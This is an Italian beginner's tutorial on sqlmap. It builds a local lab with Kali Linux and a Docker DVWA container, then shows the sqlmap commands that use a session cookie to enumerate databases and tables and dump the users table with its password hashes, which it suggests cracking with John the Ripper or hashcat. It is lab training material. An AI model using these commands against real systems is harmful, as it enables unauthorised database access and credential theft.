SQLmap – Le basi (per principianti)

Cos’è SQLmap?

Allora iniziamo col dire che cos’è sqlmap: sqlmap è un tool usato nell’ambito del penetration testing, creato apposta per exploitare in maniera automatizzata e veloce le sql injections. Le sql injections sono degli attacchi che permettono di interagire con un database senza dover inserire le credenziali di accesso.

Perchè imparare SQLmap?

Secondo me imparare ad usare sqlmap è un buon investimento del proprio tempo perchè questo tool aiuta tantissimo ad automatizzare operazioni come capire che permessi ha l’utente mysql che interagisce col database, che se fatto manualmente è un’ operazione abbastanza complessa la quale richiede molto tempo. Invece con sqlmap riusciamo ad effettuarla in pochi secondi. Questo è solo un esempio delle molteplici cose che si possono fare con questo fantastico tool.

Cosa serve per seguire questo corso?

Per seguire questo corso bisogna sapere come eseguire delle sql injections e come funzionano. Lascio un link ad una risorsa utile per approfondire questo argomento: https://www.cybersecurity360.it/nuove-minacce/sql-injection-come-funziona-e-come-difendersi-dalla-tecnica-di-hacking-delle-applicazioni-web/

Bisogna conoscere le basi del linguaggio sql. Insomma capire cos’è una query sql.

Come ultima cosa bisogna sapere come funzionano più o meno i “tipi” di database più comuni come mysql, MariaDB (un fork di mysql), MongoDB ed SQLite.

Creare il proprio lab

In questa sezione inizieremo a creare il nostro laboratorio virtuale dove potremo esercitarci.

Come software per la virtualizzazione useremo virtualbox e come os useremo kali linux (una famosa distro piena di tool per il penetration testing)

Se siete su windows seguite questo semplice tutorial su come installare kali su virtualbox

https://www.youtube.com/watch?v=TnC4PlMz5-E

Mentre se siete su una distribuzione linux usate il vostro package manager per scaricare virtualbox.

Se siete su debian based: sudo apt install virtualbox

Se siete su arch o derivate: sudo pacman -S virtualbox

Poi andate sul sito https://kali.org e cliccate su Download.

Poi cliccate su virtual machines

Cliccate sul bottone con la freccia in giù su virtualbox

Basta cliccare sul file appena scaricato e si aprirà una finestra basterà cliccare su importa e acettare i termini di utilizzo e la macchina virtuale è pronta per essere avviata.

Adesso bisogna cliccare sul pulsante avvia e la macchina virtuale partira.

Nella schermata di login le crendenziali sono kali:kali.

Apriamo un terminale e digitiamo questi comandi.

sudo apt update && sudo apt upgrade && sudo apt install docker.io

sudo usermod -aG docker $USER

Dopo aver dato questi comandi dobbiamo fare il log out e riloggarci poi riapriamo il terminale e digitiamo

docker pull vulnerables/web-dvwa

docker run -it -p 8000:80 vulnerables/web-dvwa

Exploitation

Apriamo il browser e andiamo andare all’indirizzo http://127.0.0.1:8000.

Come credenziali inseriamo admin:password

L’applicazione dopo alcuni secondi ci presenterà di nuovo il login perchè deve creare il database.

Andiamo nella sezione sql injection

e inseriamo il parametro 1 dentro alla stringa.

e poi prendiamo i cookie dai developer tools.

E poi digitiamo sqlmap –cookie per inserire i cookie che abbiamo appena preso per autenticarci nella web app e -u per l’url vulnerabile a sql injcection

sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#

Diamo invio e otteniamo questo output

Per enumerare i database tutti i database aggiungiamo il parametro –dbs

sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit# --dbs

E cosi otteniamo come output 2 database

Per vedere cosa c’è all’interno del database dvwa usiamo il parametro “-D dvwa” per selezionarlo e –tables per vedre tutte le tabelle al suo interno.

sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables

E otteniamo 2 tabelle: guestbook e users

Per vedere cosa c’è all’interno della tabella users usiamo “-T users” e poi –dump per far vedere a schermo il suo contenuto.

sqlmap  --cookie="PHPSESSID=1708kvtdf5i39nrgbvot40dtv1; security=low" -u "http://127.0.0.1:8000/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --dump

E otteniamo questo risultato.

E cosi siamo riusciti ad ottenere tutti gli utenti dell’applicazione dvwa e anche le loro password hashate che potremo craccare in seguito con programmi come JohnTheRipper o hashcat.

Conclusioni

Queste sono solo le cose base che si possono fare con questo fantastico tool. Spero di avervi aiutato ad imparare le basi di sqlmap. Io vi ingoraggerei molto ad approfondire questo tool usandolo e sperimentando.

Grazie per essere stati con me in questa lettura.

Alla prossima.